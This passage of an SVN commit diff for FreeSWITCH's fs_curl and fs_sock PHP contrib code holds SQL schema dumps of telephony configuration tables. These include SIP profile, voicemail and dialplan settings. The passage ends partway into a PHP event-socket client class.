+(9, 1, 'default', 'realm', 'asterlink.com'),
+(10, 1, 'default', 'username', 'USERNAME_HERE'),
+(11, 1, 'default', 'register', 'false'),
+(12, 1, 'default', 'expire-seconds', '60'),
+(13, 1, 'default', 'retry_seconds', '2'),
+(14, 1, 'default', 'password', 'PASSWORD_HERE');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_settings" (
+  "id" int(11) NOT NULL,
+  "sofia_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=37 ;
+
+--
+-- Dumping data for table `sofia_settings`
+--
+
+INSERT INTO `sofia_settings` (`id`, `sofia_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'user-agent-string', 'RayUA 2.0pre4'),
+(2, 1, 'auth-calls', 'true'),
+(5, 1, 'debug', '1'),
+(6, 1, 'rfc2833-pt', '101'),
+(7, 1, 'sip-port', '5060'),
+(8, 1, 'dialplan', 'XML'),
+(9, 1, 'dtmf-duration', '100'),
+(10, 1, 'codec-prefs', '$${global_codec_prefs}'),
+(11, 1, 'rtp-timeout-sec', '300'),
+(12, 1, 'rtp-ip', '$${local_ip_v4}'),
+(13, 1, 'sip-ip', '$${local_ip_v4}'),
+(14, 1, 'context', 'default'),
+(15, 1, 'manage-presence', 'true'),
+(16, 1, 'force-register-domain', 'intralanman.servehttp.com'),
+(17, 1, 'inbound-codec-negotiation', 'generous'),
+(18, 1, 'rtp-rewrite-timestampes', 'true'),
+(19, 1, 'nonce-ttl', '60'),
+(20, 1, 'vad', 'out'),
+(36, 1, 'odbc-dsn', 'freeswitch-mysql:freeswitch:Fr33Sw1tch');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "voicemail_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "vm_profile" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_profile" ("vm_profile")
+) AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `voicemail_conf`
+--
+
+INSERT INTO `voicemail_conf` (`id`, `vm_profile`) VALUES
+(1, 'default');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_email`
+--
+
+CREATE TABLE IF NOT EXISTS "voicemail_email" (
+  "id" int(10) unsigned NOT NULL,
+  "voicemail_id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_profile_param" ("param_name","voicemail_id")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `voicemail_email`
+--
+
+INSERT INTO `voicemail_email` (`id`, `voicemail_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'template-file', 'voicemail.tpl'),
+(2, 1, 'date-fmt', '%A, %B %d %Y, %I %M %p'),
+(3, 1, 'email-from', '${voicemail_account}@${voicemail_domain}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "voicemail_settings" (
+  "id" int(11) NOT NULL,
+  "voicemail_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=31 ;
+
+--
+-- Dumping data for table `voicemail_settings`
+--
+
+INSERT INTO `voicemail_settings` (`id`, `voicemail_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'file-extension', 'wav'),
+(2, 1, 'terminator-key', '#'),
+(3, 1, 'max-login-attempts', '3'),
+(4, 1, 'digit-timeout', '10000'),
+(5, 1, 'max-record-length', '300'),
+(6, 1, 'tone-spec', '%(1000, 0, 640)'),
+(7, 1, 'callback-dialplan', 'XML'),
+(8, 1, 'callback-context', 'default'),
+(9, 1, 'play-new-messages-key', '1'),
+(10, 1, 'play-saved-messages-key', '2'),
+(11, 1, 'main-menu-key', '*'),
+(12, 1, 'config-menu-key', '5'),
+(13, 1, 'record-greeting-key', '1'),
+(14, 1, 'choose-greeting-key', '2'),
+(15, 1, 'record-file-key', '3'),
+(16, 1, 'listen-file-key', '1'),
+(17, 1, 'record-name-key', '3'),
+(18, 1, 'save-file-key', '9'),
+(19, 1, 'delete-file-key', '7'),
+(20, 1, 'undelete-file-key', '8'),
+(21, 1, 'email-key', '4'),
+(22, 1, 'pause-key', '0'),
+(23, 1, 'restart-key', '1'),
+(24, 1, 'ff-key', '6'),
+(25, 1, 'rew-key', '4'),
+(26, 1, 'record-silence-threshold', '200'),
+(27, 1, 'record-silence-hits', '2'),
+(28, 1, 'web-template-file', 'web-vm.tpl'),
+(29, 1, 'operator-extension', 'operator XML default'),
+(30, 1, 'operator-key', '9');
+
+--
+-- Constraints for dumped tables
+--
+
+--
+-- Constraints for table `dingaling_profile_params`
+--
+ALTER TABLE `dingaling_profile_params`
+  ADD CONSTRAINT "dingaling_profile" FOREIGN KEY ("dingaling_id") REFERENCES "dingaling_profiles" ("id") ON DELETE CASCADE ON UPDATE CASCADE;

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle.sql

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/sql/oracle.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,885 @@
+-- phpMyAdmin SQL Dump
+-- version 3.1.2deb1
+-- http://www.phpmyadmin.net
+--
+-- Host: localhost
+-- Generation Time: Feb 15, 2009 at 09:37 PM
+-- Server version: 5.0.75
+-- PHP Version: 5.2.6-3ubuntu2
+
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+
+--
+-- Database: `freeswitch`
+--
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_lists`
+--
+
+CREATE TABLE IF NOT EXISTS "acl_lists" (
+  "id" int(10) unsigned NOT NULL,
+  "acl_name" varchar(128) NOT NULL,
+  "default_policy" varchar(45) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `acl_lists`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_nodes`
+--
+
+CREATE TABLE IF NOT EXISTS "acl_nodes" (
+  "id" int(10) unsigned NOT NULL,
+  "cidr" varchar(45) NOT NULL,
+  "type" varchar(16) NOT NULL,
+  "list_id" int(10) unsigned NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `acl_nodes`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_advertise`
+--
+
+CREATE TABLE IF NOT EXISTS "conference_advertise" (
+  "id" int(10) unsigned NOT NULL,
+  "room" varchar(64) NOT NULL,
+  "status" varchar(128) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_room" ("room")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_advertise`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_controls`
+--
+
+CREATE TABLE IF NOT EXISTS "conference_controls" (
+  "id" int(10) unsigned NOT NULL,
+  "conf_group" varchar(64) NOT NULL,
+  "action" varchar(64) NOT NULL,
+  "digits" varchar(16) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_group_action" ("conf_group","action")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_controls`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS "conference_profiles" (
+  "id" int(10) unsigned NOT NULL,
+  "profile_name" varchar(64) NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  KEY "unique_profile_param" ("profile_name","param_name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_profiles`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan" (
+  "dialplan_id" int(11) NOT NULL,
+  "domain" varchar(128) NOT NULL,
+  "ip_address" varchar(15) NOT NULL,
+  PRIMARY KEY  ("dialplan_id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_actions`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_actions" (
+  "action_id" int(11) NOT NULL,
+  "condition_id" int(11) NOT NULL,
+  "application" varchar(256) NOT NULL,
+  "data" varchar(256) NOT NULL,
+  "type" varchar(32) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("action_id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_actions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_condition`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_condition" (
+  "condition_id" int(11) NOT NULL,
+  "extension_id" int(11) NOT NULL,
+  "field" varchar(1238) NOT NULL,
+  "expression" varchar(128) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("condition_id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_condition`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_context`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_context" (
+  "context_id" int(11) NOT NULL,
+  "dialplan_id" int(11) NOT NULL,
+  "context" varchar(64) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("context_id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_context`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_extension`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_extension" (
+  "extension_id" int(11) NOT NULL,
+  "context_id" int(11) NOT NULL,
+  "name" varchar(128) NOT NULL,
+  "continue" varchar(32) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("extension_id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_extension`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_special`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_special" (
+  "id" int(11) NOT NULL,
+  "context" varchar(255) NOT NULL,
+  "class_file" varchar(255) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_context" ("context")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_special`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS "dingaling_profiles" (
+  "id" int(10) unsigned NOT NULL,
+  "profile_name" varchar(64) NOT NULL,
+  "type" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_name" ("profile_name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_profiles`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profile_params`
+--
+
+CREATE TABLE IF NOT EXISTS "dingaling_profile_params" (
+  "id" int(10) unsigned NOT NULL,
+  "dingaling_id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_type_name" ("dingaling_id","param_name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_profile_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "dingaling_settings" (
+  "id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_param" ("param_name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory`
+--
+
+CREATE TABLE IF NOT EXISTS "directory" (
+  "id" int(11) NOT NULL,
+  "username" varchar(255) NOT NULL,
+  "domain" varchar(255) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_domains`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_domains" (
+  "id" int(10) unsigned NOT NULL,
+  "domain_name" varchar(128) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_gateways" (
+  "id" int(10) unsigned NOT NULL,
+  "directory_id" int(10) unsigned NOT NULL,
+  "gateway_name" varchar(128) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateway_params`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_gateway_params" (
+  "id" int(10) unsigned NOT NULL,
+  "d_gw_id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_gw_param" ("d_gw_id","param_name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateway_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_params`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_global_params" (
+  "id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(128) NOT NULL,
+  "domain_id" int(10) unsigned NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_vars`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_global_vars" (
+  "id" int(10) unsigned NOT NULL,
+  "var_name" varchar(64) NOT NULL,
+  "var_value" varchar(128) NOT NULL,
+  "domain_id" int(10) unsigned NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_params`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_params" (
+  "id" int(11) NOT NULL,
+  "directory_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_vars`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_vars" (
+  "id" int(11) NOT NULL,
+  "directory_id" int(11) default NULL,
+  "var_name" varchar(255) default NULL,
+  "var_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "iax_conf" (
+  "id" int(11) NOT NULL,
+  "profile_name" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `iax_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "iax_settings" (
+  "id" int(11) NOT NULL,
+  "iax_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `iax_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "ivr_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "name" varchar(64) NOT NULL,
+  "greet_long" varchar(255) NOT NULL,
+  "greet_short" varchar(255) NOT NULL,
+  "invalid_sound" varchar(255) NOT NULL,
+  "exit_sound" varchar(255) NOT NULL,
+  "max_failures" int(10) unsigned NOT NULL default '3',
+  "timeout" int(11) NOT NULL default '5',
+  "tts_engine" varchar(64) default NULL,
+  "tts_voice" varchar(64) default NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_name" ("name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `ivr_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_entries`
+--
+
+CREATE TABLE IF NOT EXISTS "ivr_entries" (
+  "id" int(10) unsigned NOT NULL,
+  "ivr_id" int(10) unsigned NOT NULL,
+  "action" varchar(64) NOT NULL,
+  "digits" varchar(16) NOT NULL,
+  "params" varchar(255) default NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_ivr_digits" ("ivr_id","digits")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `ivr_entries`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "limit_conf" (
+  "id" int(11) NOT NULL,
+  "name" varchar(255) default NULL,
+  "value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `limit_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_data`
+--
+
+CREATE TABLE IF NOT EXISTS "limit_data" (
+  "hostname" varchar(255) default NULL,
+  "realm" varchar(255) default NULL,
+  "id" varchar(255) default NULL,
+  "uuid" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `limit_data`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `local_stream_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "local_stream_conf" (
+  "id" int(11) NOT NULL,
+  "directory_name" varchar(255) default NULL,
+  "directory_path" text,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `local_stream_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `modless_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "modless_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "conf_name" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `modless_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `post_load_modules_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "post_load_modules_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "module_name" varchar(64) NOT NULL,
+  "load_module" tinyint(1) NOT NULL default '1',
+  "priority" int(10) unsigned NOT NULL default '1000',
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_mod" ("module_name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `post_load_modules_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `rss_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "rss_conf" (
+  "id" int(11) NOT NULL,
+  "directory_id" int(11) NOT NULL,
+  "feed" text NOT NULL,
+  "local_file" text NOT NULL,
+  "description" text,
+  "priority" int(11) NOT NULL default '1000',
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `rss_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_authentication`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_authentication" (
+  "nonce" varchar(255) default NULL,
+  "expires" int(11) default NULL
+);
+
+--
+-- Dumping data for table `sip_authentication`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_dialogs`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_dialogs" (
+  "call_id" varchar(255) default NULL,
+  "uuid" varchar(255) default NULL,
+  "sip_to_user" varchar(255) default NULL,
+  "sip_to_host" varchar(255) default NULL,
+  "sip_from_user" varchar(255) default NULL,
+  "sip_from_host" varchar(255) default NULL,
+  "contact_user" varchar(255) default NULL,
+  "contact_host" varchar(255) default NULL,
+  "state" varchar(255) default NULL,
+  "direction" varchar(255) default NULL,
+  "user_agent" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `sip_dialogs`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_registrations`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_registrations" (
+  "call_id" varchar(255) default NULL,
+  "sip_user" varchar(255) default NULL,
+  "sip_host" varchar(255) default NULL,
+  "contact" varchar(1024) default NULL,
+  "status" varchar(255) default NULL,
+  "rpid" varchar(255) default NULL,
+  "expires" int(11) default NULL,
+  "user_agent" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `sip_registrations`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_subscriptions`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_subscriptions" (
+  "proto" varchar(255) default NULL,
+  "sip_user" varchar(255) default NULL,
+  "sip_host" varchar(255) default NULL,
+  "sub_to_user" varchar(255) default NULL,
+  "sub_to_host" varchar(255) default NULL,
+  "event" varchar(255) default NULL,
+  "contact" varchar(1024) default NULL,
+  "call_id" varchar(255) default NULL,
+  "full_from" varchar(255) default NULL,
+  "full_via" varchar(255) default NULL,
+  "expires" int(11) default NULL,
+  "user_agent" varchar(255) default NULL,
+  "accept" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `sip_subscriptions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_aliases`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_aliases" (
+  "id" int(10) unsigned NOT NULL,
+  "sofia_id" int(10) unsigned NOT NULL,
+  "alias_name" varchar(255) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_aliases`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_conf" (
+  "id" int(11) NOT NULL,
+  "profile_name" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_domains`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_domains" (
+  "id" int(11) NOT NULL,
+  "sofia_id" int(11) default NULL,
+  "domain_name" varchar(255) default NULL,
+  "parse" tinyint(1) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_gateways" (
+  "id" int(11) NOT NULL,
+  "sofia_id" int(11) default NULL,
+  "gateway_name" varchar(255) default NULL,
+  "gateway_param" varchar(255) default NULL,
+  "gateway_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_settings" (
+  "id" int(11) NOT NULL,
+  "sofia_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "voicemail_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "vm_profile" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_profile" ("vm_profile")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_email`
+--
+
+CREATE TABLE IF NOT EXISTS "voicemail_email" (
+  "id" int(10) unsigned NOT NULL,
+  "voicemail_id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_profile_param" ("param_name","voicemail_id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_email`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "voicemail_settings" (
+  "id" int(11) NOT NULL,
+  "voicemail_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_settings`
+--
+
+
+--
+-- Constraints for dumped tables
+--
+
+--
+-- Constraints for table `dingaling_profile_params`
+--
+ALTER TABLE `dingaling_profile_params`
+  ADD CONSTRAINT "dingaling_profile" FOREIGN KEY ("dingaling_id") REFERENCES "dingaling_profiles" ("id") ON DELETE CASCADE ON UPDATE CASCADE;

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_sock)

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/fs_sock.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/fs_sock.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_sock/fs_sock.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/fs_sock.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/fs_sock.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,426 @@
+<?php
+/**
+ * Class for FreeSWITCH event socket
+ *
+ */
+
+/**
+ * Class for FreeSWITCH event socket
+ *
+ */
+class fs_sock {
+    /**
+     * file handler for FreeSWITCH socket connection
+     *
+     * @var file pointer
+     */
+    public $sock;
+
+    /**
+     * Sets Whether auth was successful or not
+     * Used to not send further commands until auth is successful
+     *
+     * @var boolean
+     */
+    public $auth;
+
+    /**
+     * Variable to hold current command
+     *
+     * @var string
+     */
+    private $command = 'initial_read';
+
+    private $input_buffer;
+    private $output_buffer;
+
+    /**
+     * Class instantiation
+     * This method will connect to the socket and authenticate
+     *
+     * @param array $vars
+     * @return fs_sock
+     */
+    function fs_sock($vars=null) {
+        if (!defined('BUFFER_SIZE')) {
+            /**
+             * This is the buffer size for fread/fgets operations (default 4096)
+             * Define BUFFER_SIZE before instantiation to use a different size
+             */
+            define('BUFFER_SIZE', 4096);
+        }
+        $vars_array = is_array($vars) ? $vars : array();
+        $initial_vars = $this -> set_initial_vars($vars_array);
+        //$this -> debug($initial_vars);
+        $this -> sock_connect($initial_vars);
+        $initial_output = $this -> sock_get();
+        if ($initial_output['Content-Type'] == 'auth/request') {
+            $this -> debug('---- authentication requested ----');
+            $this -> sock_auth($initial_vars['pass']);
+        }
+    }
+
+    /**
+     * Close the connection to the event socket
+     *
+     */
+    function sock_close() {
+        $this -> send_command('exit');
+        fclose($this -> sock);
+    }
+
+    /**
+     * Sets connection info from array passed, or used a set of defaults if nothing is passed
+     *
+     * @param array $var_array array of connection settings to use (host|port|pass|timeout)
+     * @return array
+     */
+    function set_initial_vars($var_array) {
+        $defaults = array(
+        'host' => '127.0.0.1',
+        'port' => '8021',
+        'pass' => 'ClueCon',
+        'timeout' => 30,
+        'stream_timeout' => 5
+        );
+        if (array_key_exists('host', $var_array)
+        && $var_array['host'] == 'localhost') {
+            //$this -> debug('Replacing localhost with 127.0.0.1');
+            $var_array['host'] = '127.0.0.1';
+        }
+        foreach ($defaults as $key => $val) {
+            if (array_key_exists($key, $var_array)) {
+                //$this -> debug("$key found in vars");
+                $connection_settings[$key] = $var_array[$key];
+            } else {
+                //$this -> debug("$key not found in vars");
+                $connection_settings[$key] = $val;
+            }
+        }
+        //$this -> debug($connection_settings);
+        return $connection_settings;
+    }
+
+    /**
+     * Connect to the event socket using the array determined by set_initial_vars
+     *
+     * @param array $sock_array array of connection parameters
